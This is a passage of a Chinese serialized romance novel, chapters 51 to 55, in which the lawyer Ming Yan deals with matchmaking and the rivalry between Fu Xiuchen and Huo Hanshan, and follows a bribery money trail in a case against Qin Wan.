他一手创立的跃华生物,估值惊人,技术壁垒极高,是国内外资本争相追逐的对象。 他在傅氏集团内部的话语权,甚至已经隐隐超过了父辈。 绝对的商业价值和雷霆手段,让他在这个庞大的家族里,拥有了无人能够撼动的地位。 无人再敢小觑,更无人敢轻易挑衅。 傅母连忙招呼大家入座,吩咐佣人上茶,气氛这才稍稍缓和。 一家人看似和睦地围坐在一起,聊着近况,话题无非是生意和时局,以及一些圈内的八卦。 聊着聊着,话题不知怎的,就转到了魔都最近的商圈动态上。 小姑傅承慧似乎是想缓和一下刚才的尴尬,主动找了个话题,笑着对傅母说:“大嫂,你听说了吗?明家那个丫头,好像从京都回来了。” 傅修沉端着茶杯的手几不可察地顿了一下。 “是吗?”傅母有些惊讶,“那孩子……得有五六年没见了吧?当年为了个男人跟家里闹翻,跑去京都,她爸妈可是气得不轻。” “谁说不是呢!”小姑傅承慧接过话头,语气带着几分幸灾乐祸,“不过据说现在好像是醒悟了,我听说陈家好像有意联姻呢!他们家公子陈放,刚从国外读完医学博士回来,一表人才,跟明家丫头年纪也相当……” 她本是无心之言,只想找个大家可能都认识的圈子里的八卦聊聊。 然而,这话落在傅修沉耳中,却让他的眸色几不可察地沉了沉。 明家丫头…… 联姻…… 陈放…… 他端着茶杯的手指,微微收紧。 傅母没注意到儿子的细微变化,还顺着话头说:“陈放那孩子确实不错,温文尔雅的,是个医生,职业也好,跟明嫣那丫头倒是挺般配……” “砰。” 一声轻微的脆响。 傅修沉将手中的茶杯放回了桌上,力道不重,却让桌上的杯碟都轻轻震动了一下。 所有人都下意识地看向他。 只见傅修沉缓缓抬起眼眸,那双深不见底的眸子像是凝了一层寒霜,冷冷地看向傅承慧,“小姑消息倒是灵通。” 傅承慧被他看得心里发毛,干笑两声:“也……也就是听人随口说的……” 傅修沉没再说话,但周身散发出的低气压,让整个客厅的温度都仿佛降了几度。 傅老爷子皱了皱眉,看了孙子一眼,没说什么。 傅老夫人敏锐地察觉到气氛不对,连忙打圆场,“好了好了,这都是别人家的事,咱们操什么心。修沉刚回来,肯定累了,先吃饭,先吃饭!” 然而,就在这时,一直沉默的傅修沉却突然开口,声音冷冽:“陈家……今晚要去明家做客?” 他这话问得没头没脑,但结合刚才的对话,意思再明显不过。 小姑被他问得一怔,下意识地回答:“啊?是……是吧,好像就是今晚,陈董夫妇带着陈放一起……” 她的话还没说完,傅修沉猛地从沙发上站了起来。 高大的身影瞬间带来一股强大的压迫感。 “我出去一趟。” 说完,他甚至不等众人反应,抓起刚刚脱下的大衣和车钥匙,转身就大步流星地朝门外走去。 “修沉!你去哪儿?马上吃饭了!”傅母急忙喊道。 傅修沉的脚步没有丝毫停顿。 很快,外面传来汽车引擎发动的声音,然后是轮胎摩擦地面发出的刺耳声响,迅速远去。 留下一屋子的人面面相觑。 傅母有些担忧地看向傅老夫人,“妈,修沉他这是……” 傅老夫人摇了摇头,眉头微蹙,似乎想到了什么,眼神变得有些深邃。 一旁的傅老爷子则是轻哼了一声,重新端起茶杯,眼底却掠过一丝几不可察的了然和兴味。 这小子…… 藏得挺深啊…… 第51章 傅修沉猥亵过你! 是夜。 此时的明家一片灯火通明。 今天的晚宴果然如明嫣所料,并非简单的家庭聚餐。 席间,气氛看似融洽和谐。 但是话里话外却都在撮合她和陈放。 而陈放却是如明母说的那般优秀。 他谈吐得体,学识渊博,既能在长辈面前侃侃而谈,又不会显得卖弄,对明嫣更是保持着恰到好处的关注和距离,不会过分热络让她不适,也不会冷落了她。 “明小姐在江南开创律所,真是巾帼不让须眉。”陈放微笑着看向明嫣,眼神清澈,带着真诚的欣赏,“现在年轻人能有这样的闯劲和魄力,很难得。” 明嫣只能客气地回应:“陈医生过奖了,只是小打小闹,刚起步而已。” “起步阶段最是不易,明小姐能独自在江南站稳脚跟,能力可见一斑。”陈放语气温和,带着一种让人如沐春风的舒适感,“我有个朋友也在江南做医疗器械,以后如果有法律方面的需求,或许可以介绍给明小姐。” “那先谢谢陈医生了。”明嫣礼貌道谢,心里却有些无奈。 平心而论,陈放条件极好,性格也好,和他相处没有任何压力。 如果放在以前,或许她会被这样的温柔体贴所打动。 但现在…… 她的心像是被什么东西填满了,又像是被什么东西掏空了,对于这种明显带着相亲目的的接触,只觉得疲惫和抗拒。 晚宴终于在看似宾主尽欢的氛围中结束。 送走陈家一行人,明嫣刚松了口气准备回房时,就被明母拉住了手,带到了二楼的偏厅小阳台。 夜风微凉,带着庭院里花草的清香。 “嫣儿,”苏婉晴拉着女儿在藤椅上坐下,“跟妈妈说说,觉得陈放这孩子怎么样?” 明嫣眨了眨眼,试图装傻:“什么怎么样?陈医生人挺好的,彬彬有礼,学识也好。” 苏婉晴嗔怪地轻轻拍了下她的手背:“你还跟妈妈装糊涂?” 明嫣垂下眼眸,抿了抿唇,避而不谈这茬,“妈,我有点累了……” “嫣儿,”苏婉晴的声音更柔了几分,她握住明嫣的手,低声在她耳边道,“妈妈跟你说这些,并不是要你在某个男人里面做选择。你才刚回家,论起私心,妈妈更想你永远留在家里,当我们的宝贝女儿。” 她顿了顿,看着女儿微怔的神情,继续道:“妈妈说这些,只是要你知道,你有喜欢谁和不喜欢谁的权利。以后你的感情,你自己做主。陈放也好,别人也罢,妈妈只希望你能找到一个真心疼你、爱你、尊重你的人,而不是像……” 苏婉晴没有说完,但明嫣明白她未尽之语——而不是像霍寒山那样,让她受尽委屈。 一股暖流夹杂着酸涩涌上明嫣的心头,她靠在母亲肩上,轻轻“嗯”了一声,“我知道的,妈。谢谢您。” “傻孩子。”苏婉晴抚摸着女儿的头发,叹了口气,“陈放那孩子,你若觉得还行,不妨接触看看,若实在没感觉,也不必勉强,我们只希望你开心。” …… 这一夜,明嫣睡得特别香,一觉到天亮。 刚洗漱完下楼,就看见大哥明燃正站在客厅里打电话,脸色阴沉得能滴出水来。 “怎么回事?还没查清楚吗?……一群废物!”明燃沉着脸挂断电话,烦躁地松了松领带,额角的青筋暴起。 一看就被气得不轻。 “哥,怎么了?出什么事了?”明嫣疑惑地问道。 明燃转过身,脸色稍微缓和,但眉头依旧紧锁,“陈放昨晚被人打了。” “什么?”明嫣愣住了,“陈医生?他……伤得重吗?” “伤的不轻,住院了。”明燃语气冰冷,“鼻梁骨裂,肋骨断了两根,轻微脑震荡。” 明嫣倒吸一口凉气。 这下手可不轻! “怎么会这样?是遇到抢劫了吗?”她下意识地猜测。 陈放看起来就是文质彬彬的医生,不像会与人结仇的样子。 明燃冷笑一声,“不是抢劫,对方目标明确,他昨晚从我们家离开,开车回他自己公寓的地下车库,刚下车就被人打了,打完就走,现场没留下什么有价值的线索,而且……” 他的嗓音一顿,“问陈放是谁干的,他死活也不说。” 明嫣皱起眉头,心里莫名升起一股不祥的预感。 陈放刚回国,人际关系简单,怎么会无缘无故遭此横祸? 而且对方下手如此之重…… 她看着明燃难看的脸色,一个荒谬的念头闪过脑海,“哥,你……你该不会是在怀疑……” “傅修沉。”明燃斩钉截铁,吐出这三个字,眼神阴鸷。 明嫣先是一怔,随即下意识地反驳了一句,“不可能吧?怎么会是他?他有什么理由……” “理由?”明燃冷笑一声,打断她,“他昨天也回魔都了。时间正好对得上!天底下有这么巧的事?” “就凭这个?”明嫣觉得不可思议,“这能说明什么?哥,你是不是对傅修沉成见太深了?” “我成见深?”明燃猛地站起身,居高临下地看着她,胸膛因怒气而微微起伏,“明嫣!你到底是被他灌了什么迷魂汤?!他傅修沉是个什么样的人,我比你清楚!他手段有多脏,心思有多深,你根本想象不到!” “他在你面前装得人模狗样,你就真以为他是正人君子了?我告诉你,他骨子里就是个疯子!偏执狂!为了一点微不足道的过节,他能把人逼到倾家荡产!现在,他看上的东西,有人敢碰,他会做出什么事来,一点都不奇怪!” 明嫣被他激烈的反应和笃定的语气震住了,但心里仍有一丝不愿相信,“可是……这没有证据……” “证据?”明燃像是被这句话彻底点燃,声音因为激动而有些发颤,“你以为我为什么那么讨厌他?仅仅是因为看他不顺眼吗?” 明燃紧紧盯着明嫣的眼睛,一字一句,“因为傅修沉他曾经……” 猥亵过你! 第52章 唯一的目击者(加更) 明燃的胸膛剧烈起伏着。 最后那几个字几乎已经到了嘴边,却又被他死死地咽了回去。 他猛地背过身去,双手撑在冰冷的窗台上,指节因为用力而泛出青白色,肩背的线条绷得像一张拉满的弓。 “哥?”明嫣被他这突如其来的激烈反应惊住了,心高高悬起,“傅修沉他怎么了?” 明燃没有回头,只是从牙缝里挤出几个字,“没什么。你只需要记住,离他远点!那狗东西不是什么好人!” 明嫣怔怔地看着大哥紧绷的背影,心中的疑团如同雪球般越滚越大。 她了解大哥,他虽然脾气冷硬,但绝非无的放矢之人。 他如此讳莫如深,甚至不惜用这样激烈的言辞警告她,背后一定隐藏着极其严重的事情。 可……到底是什么事? 傅修沉……他究竟做了什么,让大哥恨之入骨? “这里面还有陈放的事儿吗?”明嫣试探着问。 明燃的脸色阴沉,他下意识地动了动唇,到了嘴边的话最终还是咽了下去。 只有他自己知道,傅修沉为什么会打陈放—— 因为陈放是当年唯一的目击者! 甚至陈放当年之所以匆匆出国,读的还是八竿子打不着的医学,背后也少不了傅修沉的推波助澜! 那家伙就是个疯子! “……总之,你听大哥的,没错。”明燃的语气缓和了一些,“以后见到傅修沉,绕道走。如果他敢纠缠你,立刻告诉我。” 明嫣抿紧了唇。 大哥的态度如此坚决,她知道再问下去也不会有结果。 可这种被蒙在鼓里的感觉,并不好受。 她对傅修沉的观感复杂,有感激,有戒备,也有一种连她自己都说不清道不明的…… 如今再加上大哥这番扑朔迷离的警告,更是让她心乱如麻。 “……我知道了。”她低声应道,垂下了眼眸。 看来——有些事,她需要自己去弄清楚。 …… 魔都的圈子说小不小,说大也不大,陈放被打住院的消息还是悄无声息地传开了。 虽然明燃极力压制,没有牵扯到明家,但难免有些风言风语。 苏婉晴看出女儿心事重重,以为她是因为陈放的事和外面的流言感到烦闷,便想着带她出去散散心。 正好她一位交好的夫人新开了一家高级马术俱乐部,邀请她去捧场,苏婉晴便拉着明嫣一同前往。 “出去走走,呼吸点新鲜空气,别闷在家里。”苏婉晴温柔地替明嫣理了理衣领,“那家马场环境很好,你小时候不是也挺喜欢骑马的吗?” 明嫣不想拂了母亲的好意,便点头答应了。 马场坐落于魔都近郊,占地广阔,环境清幽。 现代化的会所与自然风光巧妙融合,绿草如茵,跑道专业。 苏婉晴和朋友在会所露台喝着咖啡闲聊,明嫣则换了骑装,在教练的陪同下,想去马厩选一匹温顺的马匹,随便溜达一下,散散心。 就在她专注地打量着一匹皮毛油亮的黑色骏马时,一个低沉而熟悉的嗓音自身后响起: “这匹‘黑夜’性子比较烈,不太适合生手。” 明嫣的心脏猛地一跳,倏然回头。 只见傅修沉不知何时站在了她身后。 他今天没穿正装,一身剪裁合体的深色定制骑术服,完美地勾勒出他宽肩窄腰的挺拔身形,长腿笔直,脚蹬一双锃亮的马靴。 少了平日的商界精英的冷冽,多了几分矜贵的慵懒与野性。 他额前碎发随意垂下,眼尾那颗朱砂痣在明亮的光线下显得格外清晰。 他看着她,深邃的眸底像是落入了细碎的光,唇角微勾:“明律师,好巧。” 而跟在他身后出来的马场经理,也是苏婉晴那位朋友的儿子,闻言嘴角几不可察地抽搐了一下,内心疯狂腹诽——巧个屁! 傅少这一本正经的模样简直没眼看! 也不知道是谁提前好几天就‘不经意’地问起明夫人最近的行程,又是谁‘刚好’对这家新开的马场表示了‘浓厚兴趣’,今天更是‘心血来潮’一早就在这里等着。 这埋线布局的功夫,简直比谈几个亿的并购案还上心! 当然,这话他只敢在心里默默腹诽,面上依旧是无懈可击的笑。 明嫣并不知道这些背后的弯弯绕绕,“傅总……好巧。” 傅修沉上前一步,目光扫过那匹名为‘黑夜’的骏马,“这是荷兰温血马,爆发力强,但需要很好的控马技巧。如果你是新手,我建议你选旁边那匹栗色的,它性格温顺,步态稳定。” “谢谢傅总建议,不过我骑想挑战一下这匹‘黑夜’。”明嫣压下心中的波澜,语气平静地说道。 傅修沉挑了挑眉,似乎有些意外,但并没有阻止,只是点了点头:“既然明律师有信心,那请便,不过,‘黑夜’确实性子傲,上马的时候小心些。” 明嫣不再多言,示意旁边的马工将‘黑夜’牵出来,准备去热身场。 就在这时,旁边一个穿着花哨骑术服的年轻男人,大概是想在明嫣这样的美人面前表现一下,也看中了‘黑夜’,咋咋呼呼地就要上前去拉缰绳。 “嘿!这马不错!归小爷我了!” 马工连忙阻止:“对不起,沈少,这匹马已经被这位小姐选……” “滚开!本少爷看上的东西,什么时候轮到别人先选?”那沈少嚣张地一把推开马工,伸手就要去抓‘黑夜’的笼头。 ‘黑夜’显然被这粗鲁的动作惊到了,顿时焦躁起来,扬起前蹄,发出一声不满的嘶鸣,眼看就要挣脱马工的控制! 明嫣离得最近,眼看那马蹄就要落下,她下意识地惊呼一声,想要后退却已经来不及! 电光火石之间,一道身影迅疾如风般挡在了她身前! 是傅修沉。 他一手稳稳地扣住了‘黑夜’的缰绳,另一只手看似随意地在那沈少的手腕上一拂—— “哎呦!”那沈少只觉得手腕一阵剧痛,他惨叫一声,不由自主地松开了手,踉跄着倒退了好几步,惊疑不定地看着傅修沉。 傅修沉甚至没有多看那沈少一眼,他全部的注意力都在受惊的马匹和身后的明嫣身上。 他握着缰绳,手法娴熟地安抚着躁动的‘黑夜’,低沉的声音带着一种奇异的魔力,让原本焦躁的骏马渐渐平静下来,打着响鼻,用脑袋蹭了蹭他的手臂。 整个过程不过几秒钟。 他转过身,深邃的目光落在明嫣微微发白的脸上,眉头微蹙:“没事吧?” 明嫣惊魂未定。 “……没事。”她摇了摇头,声音有些干涩。 那个沈少此刻也认出了傅修沉,脸色瞬间变得惨白,结结巴巴地道:“傅……傅少?对……对不起,我不知道是您……我……” “滚。” 第53章 迟来的深情,比草贱! 明嫣下意识地循声望去,当看清那个不顾工作人员阻拦,硬要闯进来的高大身影时,她的眉头微皱,脸上瞬间覆上一层寒霜。 霍寒山? 他怎么会在这里?! 此时的霍寒山眼底布满了红血丝,西装外套带着明显的褶皱,与他平日里的冷峻形象简直大相径庭。 他这几日几乎是连轴转地赶路,他先是去了江南,后来听说明嫣回了魔都,他又片刻不停地赶过来。 他其实没想过这么快就露面的…… 哪怕今日听说了明嫣回来马场,他也只是想要远远地看她一眼。 直到他看到傅修沉勒住缰绳救下明嫣—— 少女仰头看着男人,嘴角微微上翘,一股天真甜蜜的模样。 他脑海里的那根弦,像是被一把烧红的铁钳狠狠烫过,‘砰’地一声就断了! 他几乎不受控制地拨开人群想要冲过去,却被工作人员拦住。 “这位先生,您不能进去……” “滚开!”霍寒山猛地挥开阻拦的手,力道之大让那个工作人员踉跄着倒退了好几步。 他像是完全感觉不到周围人的目光,大步流星地朝着明嫣的方向冲了过来,周身散发出的煞气让人纷纷避让。 明嫣看着他冲过来,下意识地后退了半步,眉头紧紧蹙起,眼底是毫不掩饰的厌烦和冰冷。 “霍寒山,你又来做什么?” 霍寒山的脚步在距离她几步远的地方猛地顿住。 他剧烈地喘息着,胸口起伏,目光贪婪地在她脸上逡巡,像是要将她的模样刻进灵魂深处。 可当他对上她那双只有疏离和冷漠的眼睛时,心脏像是被无数细针狠狠扎刺,痛得他几乎站立不稳。 他张了张嘴,千言万语堵在喉咙口,最终却只是用一种近乎执拗的冷静语调,一字一句地说道: “我已经退出了秦婉的代理律师团队,这个案子,我不会再插手。” 这是他目前唯一能想到的,或许能让她愿意听自己说下去的话题。 也是他证明自己‘诚意’的方式。 明嫣的眼神里闪过一丝诧异,但很快又被警惕取代,“所以呢?” 他紧紧盯着她的眼睛,“侍应生改口供的事,我没有参与。” 他顿了顿,“我找到了关键证据,证明那个侍应生收受了贿赂,他……” 他说着,下意识地想要从西装内袋里掏出什么,似乎是准备好的文件或U盘。 “我问你,又来做什么?”明嫣打断了他,声音不高,却像是一盆冰水,兜头浇下。 霍寒山掏东西的动作僵在半空。 他看着她,眼神里充满了茫然的痛苦。 他来做什么? 他也不知道。 他只是想告诉她,他没有帮她讨厌的人。 他只是想把他能找到的,她可能需要的东西,捧到她面前。 他只是…… 无法忍受看不到她,无法忍受她身边站着别人。 尤其是傅修沉…… “我……”他的喉结剧烈滚动了一下,声音嘶哑得厉害,“证据……你需要……” “我不需要。”明嫣再次打断他,语气平静,“霍寒山,收起你这一套。你的证据,你的帮助,我都不需要。秦婉的官司,我会用自己的方式打下去。至于你——” 她微微抬着下巴,阳光落在她瓷白的脸上,“请不要再来打扰我的生活。” 霍寒山只觉得四肢百骸都泛起冰冷的麻木感。 他深吸了一口气,掏出U盘递了过去,“拿着吧,你用得上……” 明嫣看着那个递到眼前的U盘,没有立刻去接。 她的内心充满了震惊和疑惑。 霍寒山……他不仅退出了秦婉的辩护,还反过来帮她搜集证据? 这太不符合他一贯的行事作风了! 他到底想干什么? “你到底想干什么?”明嫣的声音带着浓浓的怀疑,“你不是一直要护着她们母女吗?怎么突然改变立场了?” 霍寒山的嘴唇动了动,却发现自己吐不出一个字,所有的解释都显得如此苍白无力。 他只能干涩地说:“法律……应该公正。” 哪怕——这个理由连他自己都觉得可笑。 果然,明嫣的唇角勾起一抹极尽讽刺的弧度,“霍律师现在才想起来法律应该公正?当初你运用程序漏洞排除我的关键证据时,怎么没想过公正?” 霍寒山的脸色瞬间又白了几分,像是被人狠狠扇了一巴掌。 “我……”他张了张嘴,却发不出任何声音。 就在这时,一直沉默旁观的傅修沉忽然轻笑了一声。 “霍律师还真是……能屈能伸。” 傅修沉慢条斯理地开口,他向前半步,看似随意,却恰好将明嫣护在了自己身后半步的位置,形成了一个微妙的保护姿态。 “只是,现在才想起来递投名状……”傅修沉的语调拖长,“是不是黄花菜都凉了?” “傅修沉!”霍寒山猛地抬头,周身散发出骇人的戾气,“这是我和明嫣之间的事,轮不到你插嘴!” “哦?”傅修沉微微挑眉,眼尾那颗朱砂痣在阳光下红得妖冶。 他非但没有后退,反而又向前逼近了半步,两人之间的距离瞬间缩短,气氛剑拔弩张。 “如果我没记错的话,”傅修沉的声音压得很低,“明律师刚才似乎已经明确表示,不想再跟你有任何瓜葛。霍律师这样死缠烂打,未免有失风度,也更……惹人厌烦。” 他每一个字都像淬了毒的冰棱,精准地刺向霍寒山最痛的地方。 “更何况……” 傅修沉的视线若有似无地扫过霍寒山紧紧攥着的那个U盘,唇角勾起一抹极淡的讥诮,“拿着不知道从哪里弄来的所谓‘证据’,就想来换取原谅?霍律师,你这套生意场上的等价交换,用在感情上,是不是太侮辱人了?” “你以为明嫣是什么?是你可以用条件交换的标的物吗?” 这句话如同最后一击,彻底击溃了霍寒山摇摇欲坠的理智。 他不是! 他没有那么想! 他只是…… 只是不知道还能用什么方法靠近她,让她愿意看自己一眼! “霍律师……” 傅修沉微微弯了弯唇,嗓音清冷,“迟来的深情,比草贱!” 第54章 我已经有喜欢的人了 “你闭嘴!”霍寒山低吼一声,额角青筋暴起,攥着U盘的手指因为过度用力而骨节泛白。 他死死地盯着傅修沉,眼神阴鸷得可怕,“傅修沉!你别以为我不知道你在打什么主意!你处心积虑地接近她,不就是因为……” “霍寒山!”明嫣猛地出声,打断了他的话。 她从傅修沉身后走了出来,视线落在霍寒山手中的U盘上,“秦婉的案子,我会用自己的方式去解决。至于你找到的证据……” 她顿了顿,一字一句地说道:“我不想欠你任何人情。尤其是你的。” “我们之间,早就两清了。” ‘两清’两个字,像两把烧红的铁钳,狠狠烙在霍寒山的心上。 痛得他眼前阵阵发黑,几乎站立不稳。 她不要…… 她连他递出的救命稻草,都不屑一顾。 她是要彻底将他从她的世界里清除出去! 连一点痕迹都不留…… 霍寒山维持着递出U盘的姿势,僵在原地。 他看着明嫣冷漠的侧脸,看着她径直转身,跟傅修沉朝着马场会所的方向走去,没有丝毫留恋。 阳光将他们并肩的身影拉长,交织在一起。 一股从未有过的恐慌和绝望如同潮水灭顶。 他猛地抬手,狠狠一拳砸在旁边的马厩木柱上! “砰!” 一声闷响,木屑纷飞。 手背瞬间皮开肉绽,鲜血淋漓。 可肉体上的疼痛,远远不及心口万分之一。 周围传来压抑的惊呼声,工作人员面面相觑,却无人敢上前。 霍寒山像是感觉不到疼痛,他死死盯着那两道渐行渐远的身影—— 为什么…… 为什么偏偏是傅修沉! 那个真正救了她,却被他阴差阳错顶替了五年的人! 霍寒山不知道自己是怎么离开马场的。 他开着车,在繁华的街道上漫无目的地行驶。 车窗外的霓虹闪烁,喧嚣鼎沸,都像是隔着一层厚厚的毛玻璃,模糊而不真切。 脑海里反复回荡着明嫣那句‘两清了’,以及她看着傅修沉时,那微微上扬的嘴角…… 心脏处传来一阵阵尖锐的挛缩,痛得他不得不将车缓缓停靠在路边。 他趴在方向盘上,大口大口地喘息着,额头上沁出细密的冷汗。 原来,被真心爱过的人抛弃,是这种感觉。 原来,心痛…… 是这样的滋味。 明嫣想当初孤零零地躺在手术台上时,是不是比他现在还要疼…… 他曾经以为情感是冗余,是弱点。 可现在,这种汹涌而来的,几乎要将他撕成碎片的痛苦,却如此真实,如此…… 刻骨铭心。 他颤抖着手,从口袋里摸出手机,找到韩晋的号码,拨了出去。 电话响了很久才被接起。 “韩晋……”霍寒山的声音嘶哑破碎,带着浓重的鼻音,“她连我找到的证据……都不要……她说……两清了……” 韩晋在电话那头沉默了很久,最终化作一声长长的叹息。 “老霍……放手吧。” 霍寒山极轻地笑了一声——放手? 不—— 他这辈子都不会放手…… …… 马场那场不大不小的风波,被傅修沉不动声色地压了下去。 魔都圈子里的人精们,但凡是长了眼睛的,都看得出傅家太子爷对明家那位小姐不一般。 没人会去触傅修沉的霉头。 消息被封锁得严严实实,仿佛那场争执从未发生。 回明家老宅的路上,车厢内弥漫着一种微妙的安静。 苏婉晴几次悄悄打量女儿,见她只是偏头望着窗外,侧脸线条在明明灭灭的光影里显得有些疏离,便忍下了到了嘴边的询问。 她看得出,女儿心里藏着事…… 就在这时,明嫣包里的手机嗡嗡震动起来,打破了沉寂。 她下意识地扫了一眼来电显示——是陆奉归。 “喂……” “老板!好消息!天大的好消息!”陆奉归的声音隔着听筒都能感受到那股快要溢出来的兴奋,“我查到张伟那条线了!你绝对猜不到我发现了什么!” 明嫣精神一振,下意识坐直了身体,“快说!” “我按你说的,死磕秦晓林的社会关系网,尤其是异性朋友,还真让我挖到点东西!” 陆奉归语速飞快,“秦晓林有个远房表弟,叫赵老四,早些年是在道上混的,后来洗白做了点小生意,但底子不干净。这个赵老四,跟张伟是牌友!两人经常在一起打麻将!” 明嫣的心脏猛地一跳,“确定吗?” “千真万确!” 陆奉归激动道,“而且,我顺着赵老四的银行流水往下摸,发现他在侍应生翻供前一天,通过一个地下钱庄,往张伟母亲的那个账户里转过一笔五十万,时间、金额都对得上!虽然还不是直接指向秦晓林,但这绝对是一条铁链!只要撬开赵老四或者张伟的嘴,就不怕扯不出后面的秦晓林!” “干得漂亮!”明嫣眼底燃起亮光,多日来的阴霾仿佛被这道曙光驱散了不少,“把所有的证据整理好,我立刻订机票回江南!” 等挂断电话,明嫣深吸一口气,转向身旁面露关切的苏婉晴,“妈,律所那边有紧急情况,一个关键案子有了重大突破,我必须马上回江南处理。” 苏婉晴脸上的笑容瞬间淡了下去,眼底满是失落和不舍,“这……这刚回来还没两天……怎么就要走?什么案子这么急?不能让下面的人去处理吗?” “妈,这个案子对我很重要,我必须亲自去。”明嫣握住母亲的手,语气带着恳求,“等我处理完,一定尽快回来看您和爸爸。” 苏婉晴知道拦不住她,幽幽地叹了口气,“你这孩子……性子还是这么拗。” 她像是忽然想起了什么,眼睛又亮了起来,从随身的手包里拿出一个厚厚的的信封,塞到明嫣手里,“那你回去归回去,这个你得拿着。” 明嫣疑惑地接过,入手沉甸甸的,打开一看,里面竟然是一沓彩色打印的肖像照,每张照片下面还附带着详细的个人简介,家世、学历、职业、年收入…… 一应俱全。 “妈!您这是……”明嫣只觉得头皮一阵发麻,差点把信封丢出去。 “喏,这是妈妈这几天帮你精挑细选出来的,”苏婉晴笑眯眯地,“你看看,个个都是青年才俊,家世清白,人品端正!你回去有空就看看,有合眼缘的就跟妈妈说,妈妈帮你安排见面……” 明嫣看着那厚厚一沓,粗略估计至少有五六十张的照片,眼前一阵发黑。 这要是挨个相亲见过去,她就是在江南待到明年年底也见不完! 情急之下,脑子一热,一句没过脑子的话脱口而出:“妈!不用了!我……我已经有喜欢的人了!” 话音落下,车厢内瞬间安静。 第55章 背后的人是他?(加更) “什么?!” 苏婉晴的眼睛瞬间亮了起来,激动地抓住她的手,“真的吗?是哪家的孩子?多大年纪?做什么的?人品怎么样?什么时候带回来给妈妈看看?!” 一连串的问题砸得明嫣头皮发麻。 她硬着头皮,“他……人挺好的,对我也很好……那个……等时机成熟了,我一定带回来给你们看看。” “好好好!” 苏婉晴笑得合不拢嘴,轻轻拍着明嫣的手背,“你们年轻人好好处,只要他对你好,真心实意地疼你,家世什么的都是次要的!等稳定了,一定带回来啊!” 危机解除! 明嫣心里暗暗松了口气的同时又有些犯愁—— 话说,她要上哪儿找人交差? …… 第二天一早,明嫣便踏上了返回江南的航班。 飞机落地,江南湿润的空气扑面而来。 明嫣没有片刻停歇,直接拖着行李箱回到了律所。 哪成想刚进门,就见一个人影气势汹汹地朝自己走来—— “明嫣!你个贱人!你到底对寒山耍了什么见不得人的手段?!他为什么会突然拒绝当我的辩护律师?!” 她激动得胸口剧烈起伏,伸出的手指几乎要戳到明嫣的鼻尖。 “秦小姐。”明嫣的声音清冷,“霍律师是成年人,他的职业选择,轮不到我来指手画脚。至于手段……” 她顿了顿,唇角勾起一抹极淡的弧度,“不是所有人都像你们一样,习惯了在阴沟里行事。” “你!”秦婉被这话噎得脸色涨红,扬手就想扇下去。 “婉儿!”秦晓林连忙开口,一把拉住了她的手。 她转向明嫣,脸上堆起无奈又歉疚的笑容,“明小姐,你别跟婉儿一般见识,她就是太着急了,口不择言。” 她顿了顿,“明小姐,我知道,之前是婉儿做得不对,她被我宠坏了,不懂事,之前多有得罪。你看,能不能……高抬贵手?她还年轻,不能就这么毁了呀……” 明嫣冷眼看着她表演,唇角勾起一抹极淡的讥诮。 一个唱红脸,一个唱白脸,这母女俩的配合,还真是天衣无缝。 “秦女士,”明嫣打断她的话,“法律面前,没有高抬贵手这一说。秦婉做了什么,她心里清楚,证据也会说话。至于毁不毁……” 她微微前倾身体,目光如炬,“那不是我能决定的,是她自己选择的。” 秦晓林脸上的笑容瞬间僵住。 她搭在秦婉手臂上的手,几不可察地收紧,指甲几乎要掐进女儿的肉里。 秦婉痛得‘嘶’了一声,不满地看向母亲。 秦晓林却恍若未觉,她盯着明嫣,脸上的柔弱一点点褪去,声音压得极低,“明小姐,年轻人有锐气是好事,但也要懂得审时度势。有些事情,做得太绝,对谁都没有好处。” 她微微眯起眼,意有所指,“毕竟,有些人,你得罪不起,有些水,比你想象的要深得多。何必为了争一口气,把自己也搭进去呢?” 这赤裸裸的威胁,让明嫣的眼神瞬间结冰。 “秦女士,”明嫣的声音不大,却字字清晰,带着斩钉截铁的冷硬,“你这是在威胁我?” 秦晓林被她眼中毫不掩饰的锐利和冰冷慑了一瞬,但很快稳住心神,“我不是威胁,我只是在陈述一个事实。明小姐,你还年轻,未来的路还长,何必为了逞一时之气,给自己招惹不必要的麻烦呢?只要你肯高抬贵手,放过婉儿,条件随你开,我们一定尽量满足……” “呵。”明嫣轻笑一声,“麻烦?我明嫣最不怕的就是麻烦。” 她的视线扫过脸色铁青的秦婉,最终定格在秦晓林那张保养得宜的脸上,“至于条件?你们觉得,你们有什么资格,有什么资本,来跟我谈条件?” 她上前一步,通身散发出的冷冽气场竟让久经风浪的秦晓林都下意识地后退了半步。 “秦婉触犯的是法律!她必须为她做过的事情付出代价!这不是你几句轻飘飘的道歉和毫无分量的威胁就能抹平的!” 明嫣的眼神锐利如鹰隼,紧紧锁住秦晓林,“还有你,秦女士。教女无方,纵容包庇,甚至可能参与其中……你以为,你能独善其身吗?” 秦晓林的脸色终于彻底变了,“你……你胡说八道什么!” “我是不是胡说,你们心里最清楚。”明嫣不再看她们,“现在,请你们立刻从我面前消失。否则,我不介意直接报警,告你们骚扰和威胁。” 秦婉气得浑身发抖,还想说什么,却被秦晓林死死拽住。 秦晓林深深地看了明嫣一眼。 她最终什么也没说,拉着不甘不愿的秦婉,转身快步离开了律所。 明嫣站在原地,直到那两道身影彻底消失在电梯口,她才缓缓松开了紧握的拳头,掌心一片湿濡冰凉。 “老大,你没事吧?”陆奉归担忧地看着她。 “没事。”明嫣摇了摇头,深吸一口气,将那股翻涌的情绪压下去,“把张伟和赵老四的所有资料,全部拿到我办公室。” 她现在没有时间浪费在无谓的情绪上。 敌人已经亮出了獠牙,她必须更快,更准,找到他们的七寸。 …… 办公室里,灯光雪亮。 明嫣埋首在堆积如山的资料里,仔细梳理着每一条线索。 陆奉归查到的信息非常详尽。 张伟,一个游手好闲的社会闲散人员,嗜赌,欠了一屁股债。 赵老四,秦晓林的远房表弟,早年在道上混过,身上背着几起不大不小的案子,后来跟了个“大哥”,洗白做了点运输生意,明面上是正经商人,暗地里依旧干些见不得光的勾当。 那笔五十万的转账,如同黑暗中的灯塔,清晰地指明了方向。 但问题在于,如何证明这笔钱最终来自秦晓林,或者她背后的人? “老板,你看这里,”陆奉归指着赵老四近期的银行流水,“除了那笔五十万,他最近还有几笔大额资金流入,来源都是不同的空壳公司,但追查下去,最终都指向了……傅氏集团旗下的一个子公司,虽然关联很弱,几乎被洗得看不出原貌。” 傅氏? 明嫣的心跳漏了一拍。 怎么会牵扯到傅氏? 她强迫自己冷静,仔细查看那些子公司的名称和法人结构。 当看到一个熟悉的名字时,她的瞳孔猛地一缩—— 傅承平…… 傅修沉的二叔。 背后的人——是他? 第56章 明嫣醉酒 与此同时,江南一栋不显山露水的私人别墅内。 